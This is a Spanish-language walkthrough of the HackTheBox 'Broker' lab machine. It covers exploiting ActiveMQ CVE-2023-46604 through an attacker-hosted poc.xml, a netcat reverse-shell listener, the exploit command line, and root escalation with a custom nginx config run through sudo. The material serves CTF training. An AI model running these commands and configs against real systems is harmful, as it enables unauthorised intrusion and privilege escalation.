Skip to main content

Broker – HackTheBox

Dificultad: Easy
Sistema operativo: Linux

Broker_1

En esta máquina de nivel easy de HackTheBox, abordamos un escenario clásico de Remote Code Execution sin autenticación, explotando una aplicación web vulnerable expuesta públicamente. El servicio afectado corre sobre Nginx, el cual presenta una configuración incorrecta que nos permite escalar privilegios una vez obtenemos acceso inicial.

Durante la explotación, se combinan técnicas de:

  • 🔓 Acceso inicial mediante RCE sin credenciales
  • 🔧 Escalada de privilegios aprovechando una mala configuración de Nginx

Este writeup documenta paso a paso el proceso de explotación, desde el reconocimiento inicial hasta la obtención de la flag de root.

⚠️ Este contenido es exclusivamente educativo y está orientado a mejorar habilidades de pentesting ético.

🔍 Enumeración inicial

Comenzamos con un escaneo completo de puertos utilizando nmap, con scripts de detección (-sC), escaneo de todos los puertos (-p-) y máxima velocidad (-T5):

nmap -sC -p- -T5 10.10.11.243

Broker_2

Este escaneo nos revela varios servicios abiertos, pero nos centramos en los más relevantes:

  • Puerto 22/tcp – SSH
  • Puerto 80/tcp – HTTP

El servicio SSH está activo, pero sin credenciales iniciales no podemos interactuar aún. En cambio, el puerto 80 nos da acceso a una aplicación web que será el punto de entrada para la explotación.

💡 Consejo: Siempre escanea todos los puertos (-p-) en máquinas CTF. Muchos servicios clave se esconden fuera del rango estándar.

🌐 Acceso a la aplicación web

Accedemos a la URL introduciendo directamente la IP en el navegador:

http://10.10.11.243

Al hacerlo, se muestra una ventana emergente solicitando credenciales de acceso. Este tipo de autenticación corresponde a autenticación básica HTTP, gestionada directamente por el navegador.

Intentamos acceder utilizando credenciales típicas y descubrimos que el usuario y contraseña son ambos admin. Esto nos permite acceder a la aplicación web.

Broker_3

🛠️ Exploración de ActiveMQ

Una vez dentro de la aplicación, descubrimos que el sistema utiliza ActiveMQ, un popular broker de mensajería que implementa el protocolo JMS (Java Message Service). ActiveMQ permite la comunicación entre aplicaciones mediante el intercambio de mensajes en colas y tópicos, facilitando la integración de sistemas distribuidos.

Broker_4

Exploramos las opciones disponibles y hacemos clic en Manage ActiveMQ Broker, que parece ofrecer funcionalidades avanzadas para la gestión del broker de mensajería. Al hacer clic, somos redirigidos a /admin y podemos ver la versión, 5.15.15.

Broker_4

Realizamos una búsqueda rápida y descubrimos que el sistema tiene una vulnerabilidad conocida asociada: CVE-2023-46604.

¿Qué es el CVE-2023-46604?

El CVE-2023-46604 es una vulnerabilidad crítica en ActiveMQ que permite a un atacante remoto ejecutar código arbitrario en el servidor afectado. Esto se debe a una validación insuficiente de las entradas en ciertas configuraciones del broker, lo que puede ser explotado mediante el envío de mensajes especialmente diseñados.

🚀 Explotación de la vulnerabilidad

Para explotar esta vulnerabilidad, utilizamos un exploit disponible en el siguiente repositorio de GitHub: CVE-2023-46604 Exploit.

Pasos para la explotación:

  1. Descargamos los archivos del repositorio:
    CVE-2023-46604 Exploit

  2. Editamos el archivo poc.xml para incluir nuestra dirección IP y puerto, que serán utilizados para establecer la conexión inversa (reverse shell) o ejecutar el payload. Broker_5

  3. Colocamos el archivo poc.xml en un directorio accesible y levantamos un servidor HTTP para que el servidor vulnerable pueda acceder al XML:

    sudo python3 -m http.server 80
  4. Iniciamos un listener con netcat para recibir la reverse shell:

    nc -lvnp 7777

    Esto nos permitirá obtener acceso remoto si el exploit se ejecuta correctamente.

💡 Consejo: El archivo poc.xml debe estar disponible públicamente porque ActiveMQ lo carga desde una URL externa. Asegúrate de que tu IP sea accesible desde la máquina víctima y que el puerto esté abierto.

🚀 Ejecución del exploit

Una vez que el entorno está preparado y el archivo poc.xml es accesible desde el servidor vulnerable, ejecutamos el exploit con el siguiente comando:

python3 exploit.py -ip <ip_target> -c http://<tu_ip>/poc.xml

Broker_6

  • <ip_target>: Dirección IP de la máquina víctima (ActiveMQ).
  • <tu_ip>: Dirección IP de tu máquina atacante, donde está alojado el archivo poc.xml.

Este comando envía la carga maliciosa al servidor ActiveMQ, que al procesar el XML descargado desde tu servidor HTTP, ejecutará el payload y establecerá una reverse shell hacia tu listener.

⚠️ Importante: Asegúrate de que el puerto del servidor HTTP (por defecto 80) y el puerto del listener (por ejemplo 7777) estén abiertos y accesibles desde la máquina objetivo.

✅ Confirmación de la explotación

Tras ejecutar el exploit, observamos que el servidor HTTP ha recibido una solicitud para el archivo poc.xml, lo que indica que el servidor ActiveMQ ha interactuado con nuestro payload: Broker_7

Poco después, nuestro listener en netcat recibe una conexión desde la máquina víctima, confirmando que la reverse shell se ha establecido correctamente: Broker_8

🐚 Éxito: Hemos obtenido acceso remoto al servidor mediante una shell interactiva. A partir de aquí, podemos comenzar la post-explotación y escalado de privilegios.

📂 Obtención de la user.txt

Una vez dentro de la máquina, ejecutamos los siguientes comandos para localizar y leer el archivo user.txt, típico en entornos CTF:

whoami
cd /home/<usuario>
ls

Estos comandos nos permiten identificar el usuario actual, movernos a su directorio personal y listar los archivos disponibles. Observamos que el archivo user.txt está presente:

Broker_9

Procedemos a leer su contenido con:

cat user.txt

Esto nos revela la primera flag del reto:

Broker_10

🏁 Flag obtenida: El archivo user.txt suele contener la primera prueba de acceso exitoso en máquinas CTF. Guarda el valor y continúa con la enumeración para escalar privilegios.

🖥️ Mejora de la terminal

Para facilitar el escalado de privilegios y mejorar la interacción con la terminal, ejecutamos los siguientes comandos:

Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash

Explicación

  1. Ctrl+Z: Suspende el proceso actual y lo coloca en segundo plano.
  2. stty raw -echo; fg: Configura la terminal en modo raw y recupera el proceso suspendido al primer plano.
  3. export TERM=xterm: Establece el tipo de terminal como xterm, mejorando la compatibilidad con comandos interactivos.
  4. export SHELL=/bin/bash: Cambia el shell actual a bash, proporcionando una experiencia más completa y funcional.

🛠️ Consejo: Estos ajustes son útiles para ejecutar herramientas avanzadas y scripts que requieren una terminal interactiva.

🔝 Escalada de privilegios

Entramos como el usuario activemq y ejecutamos el comando sudo -l para listar los permisos sudo del usuario actual:

sudo -l

Broker_11

Observamos que el usuario tiene permisos de sudo sobre /usr/sbin/nginx sin necesidad de contraseña (ALL NOPASSWD). Esto nos permite ejecutar el binario de nginx con privilegios elevados

Este binario se ejecuta con permisos de root, lo que abre la posibilidad de buscar una forma de explotación para escalar privilegios.

⚠️ Nota: Es importante investigar cómo aprovechar los permisos sobre nginx, ya que al ejecutarse como root puede permitir la ejecución de comandos arbitrarios o la manipulación de archivos sensibles.

⚙️ Explotación de permisos sudo sobre nginx

Dado que podemos ejecutar /usr/sbin/nginx como root sin contraseña, se nos ocurre utilizar una configuración personalizada para iniciar un servidor nginx que nos permita acceder a archivos restringidos.

Creamos un archivo de configuración llamado root.conf con el siguiente contenido:

user root;
worker_processes 1;

events {
worker_connections 1024;
}

http {
server {
listen 8080;
root /root;
autoindex on;

location /flag {
alias /root/flag.txt;
}
}
}

Explicación

  • user root;: Ejecuta el servidor como el usuario root.
  • listen 8080;: El servidor escucha en el puerto 8080.
  • root /root;: Define el directorio raíz como /root, donde suelen estar archivos sensibles.
  • autoindex on;: Permite listar los archivos del directorio si se accede directamente.
  • location /flag { alias /root/flag.txt; }: Crea una ruta /flag que apunta directamente al archivo flag.txt.

Ejecución

  1. Guardamos el archivo de configuración en /home/activemq/root.conf.

  2. Iniciamos el servidor nginx con privilegios root usando el archivo personalizado:

    sudo nginx -c /<RUTA_ABSOLUTA/root.conf>

Broker_12

  1. Accedemos a la URL http://127.0.0.1:8080/flag desde la máquina comprometida para leer el contenido del archivo flag.txt.

Broker_3

🐚 Éxito: Si el archivo de configuración se ejecuta correctamente, podremos leer el contenido del archivo flag.txt y completar la explotación.

Broker_14